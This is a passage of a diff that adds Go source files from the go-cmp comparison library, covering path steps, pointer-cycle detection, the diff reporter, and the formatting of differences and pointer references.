+func (in Indirect) Values() (vx, vy reflect.Value) { return in.vx, in.vy }
+func (in Indirect) String() string                 { return "*" }
+
+// TypeAssertion represents a type assertion on an interface.
+type TypeAssertion struct{ *typeAssertion }
+type typeAssertion struct {
+	pathStep
+}
+
+func (ta TypeAssertion) Type() reflect.Type             { return ta.typ }
+func (ta TypeAssertion) Values() (vx, vy reflect.Value) { return ta.vx, ta.vy }
+func (ta TypeAssertion) String() string                 { return fmt.Sprintf(".(%v)", ta.typ) }
+
+// Transform is a transformation from the parent type to the current type.
+type Transform struct{ *transform }
+type transform struct {
+	pathStep
+	trans *transformer
+}
+
+func (tf Transform) Type() reflect.Type             { return tf.typ }
+func (tf Transform) Values() (vx, vy reflect.Value) { return tf.vx, tf.vy }
+func (tf Transform) String() string                 { return fmt.Sprintf("%s()", tf.trans.name) }
+
+// Name is the name of the Transformer.
+func (tf Transform) Name() string { return tf.trans.name }
+
+// Func is the function pointer to the transformer function.
+func (tf Transform) Func() reflect.Value { return tf.trans.fnc }
+
+// Option returns the originally constructed Transformer option.
+// The == operator can be used to detect the exact option used.
+func (tf Transform) Option() Option { return tf.trans }
+
+// pointerPath represents a dual-stack of pointers encountered when
+// recursively traversing the x and y values. This data structure supports
+// detection of cycles and determining whether the cycles are equal.
+// In Go, cycles can occur via pointers, slices, and maps.
+//
+// The pointerPath uses a map to represent a stack; where descension into a
+// pointer pushes the address onto the stack, and ascension from a pointer
+// pops the address from the stack. Thus, when traversing into a pointer from
+// reflect.Ptr, reflect.Slice element, or reflect.Map, we can detect cycles
+// by checking whether the pointer has already been visited. The cycle detection
+// uses a separate stack for the x and y values.
+//
+// If a cycle is detected we need to determine whether the two pointers
+// should be considered equal. The definition of equality chosen by Equal
+// requires two graphs to have the same structure. To determine this, both the
+// x and y values must have a cycle where the previous pointers were also
+// encountered together as a pair.
+//
+// Semantically, this is equivalent to augmenting Indirect, SliceIndex, and
+// MapIndex with pointer information for the x and y values.
+// Suppose px and py are two pointers to compare, we then search the
+// Path for whether px was ever encountered in the Path history of x, and
+// similarly so with py. If either side has a cycle, the comparison is only
+// equal if both px and py have a cycle resulting from the same PathStep.
+//
+// Using a map as a stack is more performant as we can perform cycle detection
+// in O(1) instead of O(N) where N is len(Path).
+type pointerPath struct {
+	// mx is keyed by x pointers, where the value is the associated y pointer.
+	mx map[value.Pointer]value.Pointer
+	// my is keyed by y pointers, where the value is the associated x pointer.
+	my map[value.Pointer]value.Pointer
+}
+
+func (p *pointerPath) Init() {
+	p.mx = make(map[value.Pointer]value.Pointer)
+	p.my = make(map[value.Pointer]value.Pointer)
+}
+
+// Push indicates intent to descend into pointers vx and vy where
+// visited reports whether either has been seen before. If visited before,
+// equal reports whether both pointers were encountered together.
+// Pop must be called if and only if the pointers were never visited.
+//
+// The pointers vx and vy must be a reflect.Ptr, reflect.Slice, or reflect.Map
+// and be non-nil.
+func (p pointerPath) Push(vx, vy reflect.Value) (equal, visited bool) {
+	px := value.PointerOf(vx)
+	py := value.PointerOf(vy)
+	_, ok1 := p.mx[px]
+	_, ok2 := p.my[py]
+	if ok1 || ok2 {
+		equal = p.mx[px] == py && p.my[py] == px // Pointers paired together
+		return equal, true
+	}
+	p.mx[px] = py
+	p.my[py] = px
+	return false, false
+}
+
+// Pop ascends from pointers vx and vy.
+func (p pointerPath) Pop(vx, vy reflect.Value) {
+	delete(p.mx, value.PointerOf(vx))
+	delete(p.my, value.PointerOf(vy))
+}
+
+// isExported reports whether the identifier is exported.
+func isExported(id string) bool {
+	r, _ := utf8.DecodeRuneInString(id)
+	return unicode.IsUpper(r)
+}
@@ -0,0 +1,54 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+// defaultReporter implements the reporter interface.
+//
+// As Equal serially calls the PushStep, Report, and PopStep methods, the
+// defaultReporter constructs a tree-based representation of the compared value
+// and the result of each comparison (see valueNode).
+//
+// When the String method is called, the FormatDiff method transforms the
+// valueNode tree into a textNode tree, which is a tree-based representation
+// of the textual output (see textNode).
+//
+// Lastly, the textNode.String method produces the final report as a string.
+type defaultReporter struct {
+	root *valueNode
+	curr *valueNode
+}
+
+func (r *defaultReporter) PushStep(ps PathStep) {
+	r.curr = r.curr.PushStep(ps)
+	if r.root == nil {
+		r.root = r.curr
+	}
+}
+func (r *defaultReporter) Report(rs Result) {
+	r.curr.Report(rs)
+}
+func (r *defaultReporter) PopStep() {
+	r.curr = r.curr.PopStep()
+}
+
+// String provides a full report of the differences detected as a structured
+// literal in pseudo-Go syntax. String may only be called after the entire tree
+// has been traversed.
+func (r *defaultReporter) String() string {
+	assert(r.root != nil && r.curr == nil)
+	if r.root.NumDiff == 0 {
+		return ""
+	}
+	ptrs := new(pointerReferences)
+	text := formatOptions{}.FormatDiff(r.root, ptrs)
+	resolveReferences(text)
+	return text.String()
+}
+
+func assert(ok bool) {
+	if !ok {
+		panic("assertion failure")
+	}
+}
@@ -0,0 +1,435 @@
+// Copyright 2019, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+import (
+	"fmt"
+	"reflect"
+
+	"github.com/google/go-cmp/cmp/internal/value"
+)
+
+// numContextRecords is the number of surrounding equal records to print.
+const numContextRecords = 2
+
+type diffMode byte
+
+const (
+	diffUnknown   diffMode = 0
+	diffIdentical diffMode = ' '
+	diffRemoved   diffMode = '-'
+	diffInserted  diffMode = '+'
+)
+
+type typeMode int
+
+const (
+	// emitType always prints the type.
+	emitType typeMode = iota
+	// elideType never prints the type.
+	elideType
+	// autoType prints the type only for composite kinds
+	// (i.e., structs, slices, arrays, and maps).
+	autoType
+)
+
+type formatOptions struct {
+	// DiffMode controls the output mode of FormatDiff.
+	//
+	// If diffUnknown,   then produce a diff of the x and y values.
+	// If diffIdentical, then emit values as if they were equal.
+	// If diffRemoved,   then only emit x values (ignoring y values).
+	// If diffInserted,  then only emit y values (ignoring x values).
+	DiffMode diffMode
+
+	// TypeMode controls whether to print the type for the current node.
+	//
+	// As a general rule of thumb, we always print the type of the next node
+	// after an interface, and always elide the type of the next node after
+	// a slice or map node.
+	TypeMode typeMode
+
+	// formatValueOptions are options specific to printing reflect.Values.
+	formatValueOptions
+}
+
+func (opts formatOptions) WithDiffMode(d diffMode) formatOptions {
+	opts.DiffMode = d
+	return opts
+}
+func (opts formatOptions) WithTypeMode(t typeMode) formatOptions {
+	opts.TypeMode = t
+	return opts
+}
+func (opts formatOptions) WithVerbosity(level int) formatOptions {
+	opts.VerbosityLevel = level
+	opts.LimitVerbosity = true
+	return opts
+}
+func (opts formatOptions) verbosity() uint {
+	switch {
+	case opts.VerbosityLevel < 0:
+		return 0
+	case opts.VerbosityLevel > 16:
+		return 16 // some reasonable maximum to avoid shift overflow
+	default:
+		return uint(opts.VerbosityLevel)
+	}
+}
+
+const maxVerbosityPreset = 6
+
+// verbosityPreset modifies the verbosity settings given an index
+// between 0 and maxVerbosityPreset, inclusive.
+func verbosityPreset(opts formatOptions, i int) formatOptions {
+	opts.VerbosityLevel = int(opts.verbosity()) + 2*i
+	if i > 0 {
+		opts.AvoidStringer = true
+	}
+	if i >= maxVerbosityPreset {
+		opts.PrintAddresses = true
+		opts.QualifiedNames = true
+	}
+	return opts
+}
+
+// FormatDiff converts a valueNode tree into a textNode tree, where the later
+// is a textual representation of the differences detected in the former.
+func (opts formatOptions) FormatDiff(v *valueNode, ptrs *pointerReferences) (out textNode) {
+	if opts.DiffMode == diffIdentical {
+		opts = opts.WithVerbosity(1)
+	} else if opts.verbosity() < 3 {
+		opts = opts.WithVerbosity(3)
+	}
+
+	// Check whether we have specialized formatting for this node.
+	// This is not necessary, but helpful for producing more readable outputs.
+	if opts.CanFormatDiffSlice(v) {
+		return opts.FormatDiffSlice(v)
+	}
+
+	var parentKind reflect.Kind
+	if v.parent != nil && v.parent.TransformerName == "" {
+		parentKind = v.parent.Type.Kind()
+	}
+
+	// For leaf nodes, format the value based on the reflect.Values alone.
+	// As a special case, treat equal []byte as a leaf nodes.
+	isBytes := v.Type.Kind() == reflect.Slice && v.Type.Elem() == reflect.TypeOf(byte(0))
+	isEqualBytes := isBytes && v.NumDiff+v.NumIgnored+v.NumTransformed == 0
+	if v.MaxDepth == 0 || isEqualBytes {
+		switch opts.DiffMode {
+		case diffUnknown, diffIdentical:
+			// Format Equal.
+			if v.NumDiff == 0 {
+				outx := opts.FormatValue(v.ValueX, parentKind, ptrs)
+				outy := opts.FormatValue(v.ValueY, parentKind, ptrs)
+				if v.NumIgnored > 0 && v.NumSame == 0 {
+					return textEllipsis
+				} else if outx.Len() < outy.Len() {
+					return outx
+				} else {
+					return outy
+				}
+			}
+
+			// Format unequal.
+			assert(opts.DiffMode == diffUnknown)
+			var list textList
+			outx := opts.WithTypeMode(elideType).FormatValue(v.ValueX, parentKind, ptrs)
+			outy := opts.WithTypeMode(elideType).FormatValue(v.ValueY, parentKind, ptrs)
+			for i := 0; i <= maxVerbosityPreset && outx != nil && outy != nil && outx.Equal(outy); i++ {
+				opts2 := verbosityPreset(opts, i).WithTypeMode(elideType)
+				outx = opts2.FormatValue(v.ValueX, parentKind, ptrs)
+				outy = opts2.FormatValue(v.ValueY, parentKind, ptrs)
+			}
+			if outx != nil {
+				list = append(list, textRecord{Diff: '-', Value: outx})
+			}
+			if outy != nil {
+				list = append(list, textRecord{Diff: '+', Value: outy})
+			}
+			return opts.WithTypeMode(emitType).FormatType(v.Type, list)
+		case diffRemoved:
+			return opts.FormatValue(v.ValueX, parentKind, ptrs)
+		case diffInserted:
+			return opts.FormatValue(v.ValueY, parentKind, ptrs)
+		default:
+			panic("invalid diff mode")
+		}
+	}
+
+	// Register slice element to support cycle detection.
+	if parentKind == reflect.Slice {
+		ptrRefs := ptrs.PushPair(v.ValueX, v.ValueY, opts.DiffMode, true)
+		defer ptrs.Pop()
+		defer func() { out = wrapTrunkReferences(ptrRefs, out) }()
+	}
+
+	// Descend into the child value node.
+	if v.TransformerName != "" {
+		out := opts.WithTypeMode(emitType).FormatDiff(v.Value, ptrs)
+		out = &textWrap{Prefix: "Inverse(" + v.TransformerName + ", ", Value: out, Suffix: ")"}
+		return opts.FormatType(v.Type, out)
+	} else {
+		switch k := v.Type.Kind(); k {
+		case reflect.Struct, reflect.Array, reflect.Slice:
+			out = opts.formatDiffList(v.Records, k, ptrs)
+			out = opts.FormatType(v.Type, out)
+		case reflect.Map:
+			// Register map to support cycle detection.
+			ptrRefs := ptrs.PushPair(v.ValueX, v.ValueY, opts.DiffMode, false)
+			defer ptrs.Pop()
+
+			out = opts.formatDiffList(v.Records, k, ptrs)
+			out = wrapTrunkReferences(ptrRefs, out)
+			out = opts.FormatType(v.Type, out)
+		case reflect.Ptr:
+			// Register pointer to support cycle detection.
+			ptrRefs := ptrs.PushPair(v.ValueX, v.ValueY, opts.DiffMode, false)
+			defer ptrs.Pop()
+
+			out = opts.FormatDiff(v.Value, ptrs)
+			out = wrapTrunkReferences(ptrRefs, out)
+			out = &textWrap{Prefix: "&", Value: out}
+		case reflect.Interface:
+			out = opts.WithTypeMode(emitType).FormatDiff(v.Value, ptrs)
+		default:
+			panic(fmt.Sprintf("%v cannot have children", k))
+		}
+		return out
+	}
+}
+
+func (opts formatOptions) formatDiffList(recs []reportRecord, k reflect.Kind, ptrs *pointerReferences) textNode {
+	// Derive record name based on the data structure kind.
+	var name string
+	var formatKey func(reflect.Value) string
+	switch k {
+	case reflect.Struct:
+		name = "field"
+		opts = opts.WithTypeMode(autoType)
+		formatKey = func(v reflect.Value) string { return v.String() }
+	case reflect.Slice, reflect.Array:
+		name = "element"
+		opts = opts.WithTypeMode(elideType)
+		formatKey = func(reflect.Value) string { return "" }
+	case reflect.Map:
+		name = "entry"
+		opts = opts.WithTypeMode(elideType)
+		formatKey = func(v reflect.Value) string { return formatMapKey(v, false, ptrs) }
+	}
+
+	maxLen := -1
+	if opts.LimitVerbosity {
+		if opts.DiffMode == diffIdentical {
+			maxLen = ((1 << opts.verbosity()) >> 1) << 2 // 0, 4, 8, 16, 32, etc...
+		} else {
+			maxLen = (1 << opts.verbosity()) << 1 // 2, 4, 8, 16, 32, 64, etc...
+		}
+		opts.VerbosityLevel--
+	}
+
+	// Handle unification.
+	switch opts.DiffMode {
+	case diffIdentical, diffRemoved, diffInserted:
+		var list textList
+		var deferredEllipsis bool // Add final "..." to indicate records were dropped
+		for _, r := range recs {
+			if len(list) == maxLen {
+				deferredEllipsis = true
+				break
+			}
+
+			// Elide struct fields that are zero value.
+			if k == reflect.Struct {
+				var isZero bool
+				switch opts.DiffMode {
+				case diffIdentical:
+					isZero = value.IsZero(r.Value.ValueX) || value.IsZero(r.Value.ValueY)
+				case diffRemoved:
+					isZero = value.IsZero(r.Value.ValueX)
+				case diffInserted:
+					isZero = value.IsZero(r.Value.ValueY)
+				}
+				if isZero {
+					continue
+				}
+			}
+			// Elide ignored nodes.
+			if r.Value.NumIgnored > 0 && r.Value.NumSame+r.Value.NumDiff == 0 {
+				deferredEllipsis = !(k == reflect.Slice || k == reflect.Array)
+				if !deferredEllipsis {
+					list.AppendEllipsis(diffStats{})
+				}
+				continue
+			}
+			if out := opts.FormatDiff(r.Value, ptrs); out != nil {
+				list = append(list, textRecord{Key: formatKey(r.Key), Value: out})
+			}
+		}
+		if deferredEllipsis {
+			list.AppendEllipsis(diffStats{})
+		}
+		return &textWrap{Prefix: "{", Value: list, Suffix: "}"}
+	case diffUnknown:
+	default:
+		panic("invalid diff mode")
+	}
+
+	// Handle differencing.
+	var numDiffs int
+	var list textList
+	var keys []reflect.Value // invariant: len(list) == len(keys)
+	groups := coalesceAdjacentRecords(name, recs)
+	maxGroup := diffStats{Name: name}
+	for i, ds := range groups {
+		if maxLen >= 0 && numDiffs >= maxLen {
+			maxGroup = maxGroup.Append(ds)
+			continue
+		}
+
+		// Handle equal records.
+		if ds.NumDiff() == 0 {
+			// Compute the number of leading and trailing records to print.
+			var numLo, numHi int
+			numEqual := ds.NumIgnored + ds.NumIdentical
+			for numLo < numContextRecords && numLo+numHi < numEqual && i != 0 {
+				if r := recs[numLo].Value; r.NumIgnored > 0 && r.NumSame+r.NumDiff == 0 {
+					break
+				}
+				numLo++
+			}
+			for numHi < numContextRecords && numLo+numHi < numEqual && i != len(groups)-1 {
+				if r := recs[numEqual-numHi-1].Value; r.NumIgnored > 0 && r.NumSame+r.NumDiff == 0 {
+					break
+				}
+				numHi++
+			}
+			if numEqual-(numLo+numHi) == 1 && ds.NumIgnored == 0 {
+				numHi++ // Avoid pointless coalescing of a single equal record
+			}
+
+			// Format the equal values.
+			for _, r := range recs[:numLo] {
+				out := opts.WithDiffMode(diffIdentical).FormatDiff(r.Value, ptrs)
+				list = append(list, textRecord{Key: formatKey(r.Key), Value: out})
+				keys = append(keys, r.Key)
+			}
+			if numEqual > numLo+numHi {
+				ds.NumIdentical -= numLo + numHi
+				list.AppendEllipsis(ds)
+				for len(keys) < len(list) {
+					keys = append(keys, reflect.Value{})
+				}
+			}
+			for _, r := range recs[numEqual-numHi : numEqual] {
+				out := opts.WithDiffMode(diffIdentical).FormatDiff(r.Value, ptrs)
+				list = append(list, textRecord{Key: formatKey(r.Key), Value: out})
+				keys = append(keys, r.Key)
+			}
+			recs = recs[numEqual:]
+			continue
+		}
+
+		// Handle unequal records.
+		for _, r := range recs[:ds.NumDiff()] {
+			switch {
+			case opts.CanFormatDiffSlice(r.Value):
+				out := opts.FormatDiffSlice(r.Value)
+				list = append(list, textRecord{Key: formatKey(r.Key), Value: out})
+				keys = append(keys, r.Key)
+			case r.Value.NumChildren == r.Value.MaxDepth:
+				outx := opts.WithDiffMode(diffRemoved).FormatDiff(r.Value, ptrs)
+				outy := opts.WithDiffMode(diffInserted).FormatDiff(r.Value, ptrs)
+				for i := 0; i <= maxVerbosityPreset && outx != nil && outy != nil && outx.Equal(outy); i++ {
+					opts2 := verbosityPreset(opts, i)
+					outx = opts2.WithDiffMode(diffRemoved).FormatDiff(r.Value, ptrs)
+					outy = opts2.WithDiffMode(diffInserted).FormatDiff(r.Value, ptrs)
+				}
+				if outx != nil {
+					list = append(list, textRecord{Diff: diffRemoved, Key: formatKey(r.Key), Value: outx})
+					keys = append(keys, r.Key)
+				}
+				if outy != nil {
+					list = append(list, textRecord{Diff: diffInserted, Key: formatKey(r.Key), Value: outy})
+					keys = append(keys, r.Key)
+				}
+			default:
+				out := opts.FormatDiff(r.Value, ptrs)
+				list = append(list, textRecord{Key: formatKey(r.Key), Value: out})
+				keys = append(keys, r.Key)
+			}
+		}
+		recs = recs[ds.NumDiff():]
+		numDiffs += ds.NumDiff()
+	}
+	if maxGroup.IsZero() {
+		assert(len(recs) == 0)
+	} else {
+		list.AppendEllipsis(maxGroup)
+		for len(keys) < len(list) {
+			keys = append(keys, reflect.Value{})
+		}
+	}
+	assert(len(list) == len(keys))
+
+	// For maps, the default formatting logic uses fmt.Stringer which may
+	// produce ambiguous output. Avoid calling String to disambiguate.
+	if k == reflect.Map {
+		var ambiguous bool
+		seenKeys := map[string]reflect.Value{}
+		for i, currKey := range keys {
+			if currKey.IsValid() {
+				strKey := list[i].Key
+				prevKey, seen := seenKeys[strKey]
+				if seen && prevKey.CanInterface() && currKey.CanInterface() {
+					ambiguous = prevKey.Interface() != currKey.Interface()
+					if ambiguous {
+						break
+					}
+				}
+				seenKeys[strKey] = currKey
+			}
+		}
+		if ambiguous {
+			for i, k := range keys {
+				if k.IsValid() {
+					list[i].Key = formatMapKey(k, true, ptrs)
+				}
+			}
+		}
+	}
+
+	return &textWrap{Prefix: "{", Value: list, Suffix: "}"}
+}
+
+// coalesceAdjacentRecords coalesces the list of records into groups of
+// adjacent equal, or unequal counts.
+func coalesceAdjacentRecords(name string, recs []reportRecord) (groups []diffStats) {
+	var prevCase int // Arbitrary index into which case last occurred
+	lastStats := func(i int) *diffStats {
+		if prevCase != i {
+			groups = append(groups, diffStats{Name: name})
+			prevCase = i
+		}
+		return &groups[len(groups)-1]
+	}
+	for _, r := range recs {
+		switch rv := r.Value; {
+		case rv.NumIgnored > 0 && rv.NumSame+rv.NumDiff == 0:
+			lastStats(1).NumIgnored++
+		case rv.NumDiff == 0:
+			lastStats(1).NumIdentical++
+		case rv.NumDiff > 0 && !rv.ValueY.IsValid():
+			lastStats(2).NumRemoved++
+		case rv.NumDiff > 0 && !rv.ValueX.IsValid():
+			lastStats(2).NumInserted++
+		default:
+			lastStats(2).NumModified++
+		}
+	}
+	return groups
+}
@@ -0,0 +1,264 @@
+// Copyright 2020, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+import (
+	"fmt"
+	"reflect"
+	"strings"
+
+	"github.com/google/go-cmp/cmp/internal/flags"
+	"github.com/google/go-cmp/cmp/internal/value"
+)
+
+const (
+	pointerDelimPrefix = "⟪"
+	pointerDelimSuffix = "⟫"
+)
+
+// formatPointer prints the address of the pointer.
+func formatPointer(p value.Pointer, withDelims bool) string {
+	v := p.Uintptr()
+	if flags.Deterministic {
+		v = 0xdeadf00f // Only used for stable testing purposes
+	}
+	if withDelims {
+		return pointerDelimPrefix + formatHex(uint64(v)) + pointerDelimSuffix
+	}
+	return formatHex(uint64(v))
+}
+
+// pointerReferences is a stack of pointers visited so far.
+type pointerReferences [][2]value.Pointer
+
+func (ps *pointerReferences) PushPair(vx, vy reflect.Value, d diffMode, deref bool) (pp [2]value.Pointer) {
+	if deref && vx.IsValid() {
+		vx = vx.Addr()
+	}
+	if deref && vy.IsValid() {
+		vy = vy.Addr()
+	}
+	switch d {
+	case diffUnknown, diffIdentical:
+		pp = [2]value.Pointer{value.PointerOf(vx), value.PointerOf(vy)}
+	case diffRemoved:
+		pp = [2]value.Pointer{value.PointerOf(vx), value.Pointer{}}
+	case diffInserted:
+		pp = [2]value.Pointer{value.Pointer{}, value.PointerOf(vy)}
+	}
+	*ps = append(*ps, pp)
+	return pp
+}
+
+func (ps *pointerReferences) Push(v reflect.Value) (p value.Pointer, seen bool) {
+	p = value.PointerOf(v)
+	for _, pp := range *ps {
+		if p == pp[0] || p == pp[1] {
+			return p, true
+		}
+	}
+	*ps = append(*ps, [2]value.Pointer{p, p})
+	return p, false
+}
+
+func (ps *pointerReferences) Pop() {
+	*ps = (*ps)[:len(*ps)-1]
+}
+
+// trunkReferences is metadata for a textNode indicating that the sub-tree
+// represents the value for either pointer in a pair of references.
+type trunkReferences struct{ pp [2]value.Pointer }
+
+// trunkReference is metadata for a textNode indicating that the sub-tree
+// represents the value for the given pointer reference.
+type trunkReference struct{ p value.Pointer }
+
+// leafReference is metadata for a textNode indicating that the value is
+// truncated as it refers to another part of the tree (i.e., a trunk).
+type leafReference struct{ p value.Pointer }
+
+func wrapTrunkReferences(pp [2]value.Pointer, s textNode) textNode {
+	switch {
+	case pp[0].IsNil():
+		return &textWrap{Value: s, Metadata: trunkReference{pp[1]}}
+	case pp[1].IsNil():
+		return &textWrap{Value: s, Metadata: trunkReference{pp[0]}}
+	case pp[0] == pp[1]:
+		return &textWrap{Value: s, Metadata: trunkReference{pp[0]}}
+	default:
+		return &textWrap{Value: s, Metadata: trunkReferences{pp}}
+	}
+}
+func wrapTrunkReference(p value.Pointer, printAddress bool, s textNode) textNode {
+	var prefix string
+	if printAddress {
+		prefix = formatPointer(p, true)
+	}
+	return &textWrap{Prefix: prefix, Value: s, Metadata: trunkReference{p}}
+}
+func makeLeafReference(p value.Pointer, printAddress bool) textNode {
+	out := &textWrap{Prefix: "(", Value: textEllipsis, Suffix: ")"}
+	var prefix string
+	if printAddress {
+		prefix = formatPointer(p, true)
+	}
+	return &textWrap{Prefix: prefix, Value: out, Metadata: leafReference{p}}
+}
+
+// resolveReferences walks the textNode tree searching for any leaf reference
+// metadata and resolves each against the corresponding trunk references.
+// Since pointer addresses in memory are not particularly readable to the user,
+// it replaces each pointer value with an arbitrary and unique reference ID.
+func resolveReferences(s textNode) {
+	var walkNodes func(textNode, func(textNode))
+	walkNodes = func(s textNode, f func(textNode)) {
+		f(s)
+		switch s := s.(type) {
+		case *textWrap:
+			walkNodes(s.Value, f)
+		case textList:
+			for _, r := range s {
+				walkNodes(r.Value, f)
+			}
+		}
+	}
+
+	// Collect all trunks and leaves with reference metadata.
+	var trunks, leaves []*textWrap
+	walkNodes(s, func(s textNode) {
+		if s, ok := s.(*textWrap); ok {
+			switch s.Metadata.(type) {
+			case leafReference:
+				leaves = append(leaves, s)
+			case trunkReference, trunkReferences:
+				trunks = append(trunks, s)
+			}
+		}
+	})
+
+	// No leaf references to resolve.
+	if len(leaves) == 0 {
+		return
+	}
+
+	// Collect the set of all leaf references to resolve.
+	leafPtrs := make(map[value.Pointer]bool)
+	for _, leaf := range leaves {
+		leafPtrs[leaf.Metadata.(leafReference).p] = true
+	}
+
+	// Collect the set of trunk pointers that are always paired together.
+	// This allows us to assign a single ID to both pointers for brevity.
+	// If a pointer in a pair ever occurs by itself or as a different pair,
+	// then the pair is broken.
+	pairedTrunkPtrs := make(map[value.Pointer]value.Pointer)
+	unpair := func(p value.Pointer) {
+		if !pairedTrunkPtrs[p].IsNil() {
+			pairedTrunkPtrs[pairedTrunkPtrs[p]] = value.Pointer{} // invalidate other half
+		}
+		pairedTrunkPtrs[p] = value.Pointer{} // invalidate this half
+	}
+	for _, trunk := range trunks {
+		switch p := trunk.Metadata.(type) {
+		case trunkReference:
+			unpair(p.p) // standalone pointer cannot be part of a pair
+		case trunkReferences:
+			p0, ok0 := pairedTrunkPtrs[p.pp[0]]
+			p1, ok1 := pairedTrunkPtrs[p.pp[1]]
+			switch {
+			case !ok0 && !ok1:
+				// Register the newly seen pair.
+				pairedTrunkPtrs[p.pp[0]] = p.pp[1]
+				pairedTrunkPtrs[p.pp[1]] = p.pp[0]
+			case ok0 && ok1 && p0 == p.pp[1] && p1 == p.pp[0]:
+				// Exact pair already seen; do nothing.
+			default:
+				// Pair conflicts with some other pair; break all pairs.
+				unpair(p.pp[0])
+				unpair(p.pp[1])
+			}
+		}
+	}
+
+	// Correlate each pointer referenced by leaves to a unique identifier,
+	// and print the IDs for each trunk that matches those pointers.
+	var nextID uint
+	ptrIDs := make(map[value.Pointer]uint)
+	newID := func() uint {
+		id := nextID
+		nextID++
+		return id
+	}
+	for _, trunk := range trunks {
+		switch p := trunk.Metadata.(type) {
+		case trunkReference:
+			if print := leafPtrs[p.p]; print {
+				id, ok := ptrIDs[p.p]
+				if !ok {
+					id = newID()
+					ptrIDs[p.p] = id
+				}
+				trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id))
+			}
+		case trunkReferences:
+			print0 := leafPtrs[p.pp[0]]
+			print1 := leafPtrs[p.pp[1]]
+			if print0 || print1 {
+				id0, ok0 := ptrIDs[p.pp[0]]
+				id1, ok1 := ptrIDs[p.pp[1]]
+				isPair := pairedTrunkPtrs[p.pp[0]] == p.pp[1] && pairedTrunkPtrs[p.pp[1]] == p.pp[0]
+				if isPair {
+					var id uint
+					assert(ok0 == ok1) // must be seen together or not at all
+					if ok0 {
+						assert(id0 == id1) // must have the same ID
+						id = id0
+					} else {
+						id = newID()
+						ptrIDs[p.pp[0]] = id
+						ptrIDs[p.pp[1]] = id
+					}
+					trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id))
+				} else {
+					if print0 && !ok0 {
+						id0 = newID()
+						ptrIDs[p.pp[0]] = id0
+					}
+					if print1 && !ok1 {
+						id1 = newID()
+						ptrIDs[p.pp[1]] = id1
+					}
+					switch {
+					case print0 && print1:
+						trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id0)+","+formatReference(id1))
+					case print0:
+						trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id0))
+					case print1:
+						trunk.Prefix = updateReferencePrefix(trunk.Prefix, formatReference(id1))
+					}
+				}
+			}
+		}
+	}
+
+	// Update all leaf references with the unique identifier.
+	for _, leaf := range leaves {
+		if id, ok := ptrIDs[leaf.Metadata.(leafReference).p]; ok {
+			leaf.Prefix = updateReferencePrefix(leaf.Prefix, formatReference(id))
+		}
+	}
+}
+
+func formatReference(id uint) string {
+	return fmt.Sprintf("ref#%d", id)
+}
+
+func updateReferencePrefix(prefix, ref string) string {
+	if prefix == "" {
+		return pointerDelimPrefix + ref + pointerDelimSuffix
+	}
+	suffix := strings.TrimPrefix(prefix, pointerDelimPrefix)
+	return pointerDelimPrefix + ref + ": " + suffix
+}
@@ -0,0 +1,407 @@
+// Copyright 2019, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package cmp
+
+import (
+	"bytes"
+	"fmt"
+	"reflect"
+	"strconv"
+	"strings"
+	"unicode"
+	"unicode/utf8"
+
+	"github.com/google/go-cmp/cmp/internal/value"
+)
+
+type formatValueOptions struct {
+	// AvoidStringer controls whether to avoid calling custom stringer
+	// methods like error.Error or fmt.Stringer.String.
+	AvoidStringer bool
+
+	// PrintAddresses controls whether to print the address of all pointers,
+	// slice elements, and maps.
+	PrintAddresses bool
+
+	// QualifiedNames controls whether FormatType uses the fully qualified name
+	// (including the full package path as opposed to just the package name).
+	QualifiedNames bool
+
+	// VerbosityLevel controls the amount of output to produce.
+	// A higher value produces more output. A value of zero or lower produces
+	// no output (represented using an ellipsis).
+	// If LimitVerbosity is false, then the level is treated as infinite.
+	VerbosityLevel int
+
+	// LimitVerbosity specifies that formatting should respect VerbosityLevel.
+	LimitVerbosity bool
+}
+
+// FormatType prints the type as if it were wrapping s.
+// This may return s as-is depending on the current type and TypeMode mode.
+func (opts formatOptions) FormatType(t reflect.Type, s textNode) textNode {
+	// Check whether to emit the type or not.
+	switch opts.TypeMode {
+	case autoType:
+		switch t.Kind() {
+		case reflect.Struct, reflect.Slice, reflect.Array, reflect.Map:
+			if s.Equal(textNil) {
+				return s
+			}
+		default:
+			return s
+		}
+		if opts.DiffMode == diffIdentical {
+			return s // elide type for identical nodes
+		}
+	case elideType:
+		return s
+	}
+
+	// Determine the type label, applying special handling for unnamed types.
+	typeName := value.TypeString(t, opts.QualifiedNames)
+	if t.Name() == "" {
+		// According to Go grammar, certain type literals contain symbols that
+		// do not strongly bind to the next lexicographical token (e.g., *T).
+		switch t.Kind() {
+		case reflect.Chan, reflect.Func, reflect.Ptr:
+			typeName = "(" + typeName + ")"
+		}
+	}
+	return &textWrap{Prefix: typeName, Value: wrapParens(s)}
+}
+
+// wrapParens wraps s with a set of parenthesis, but avoids it if the
+// wrapped node itself is already surrounded by a pair of parenthesis or braces.
+// It handles unwrapping one level of pointer-reference nodes.
+func wrapParens(s textNode) textNode {
+	var refNode *textWrap
+	if s2, ok := s.(*textWrap); ok {
+		// Unwrap a single pointer reference node.
+		switch s2.Metadata.(type) {
+		case leafReference, trunkReference, trunkReferences:
+			refNode = s2
+			if s3, ok := refNode.Value.(*textWrap); ok {
+				s2 = s3
+			}
+		}
+
+		// Already has delimiters that make parenthesis unnecessary.
+		hasParens := strings.HasPrefix(s2.Prefix, "(") && strings.HasSuffix(s2.Suffix, ")")
+		hasBraces := strings.HasPrefix(s2.Prefix, "{") && strings.HasSuffix(s2.Suffix, "}")
+		if hasParens || hasBraces {
+			return s
+		}
+	}
+	if refNode != nil {
+		refNode.Value = &textWrap{Prefix: "(", Value: refNode.Value, Suffix: ")"}
+		return s
+	}
+	return &textWrap{Prefix: "(", Value: s, Suffix: ")"}
+}
+
+// FormatValue prints the reflect.Value, taking extra care to avoid descending
+// into pointers already in ptrs. As pointers are visited, ptrs is also updated.
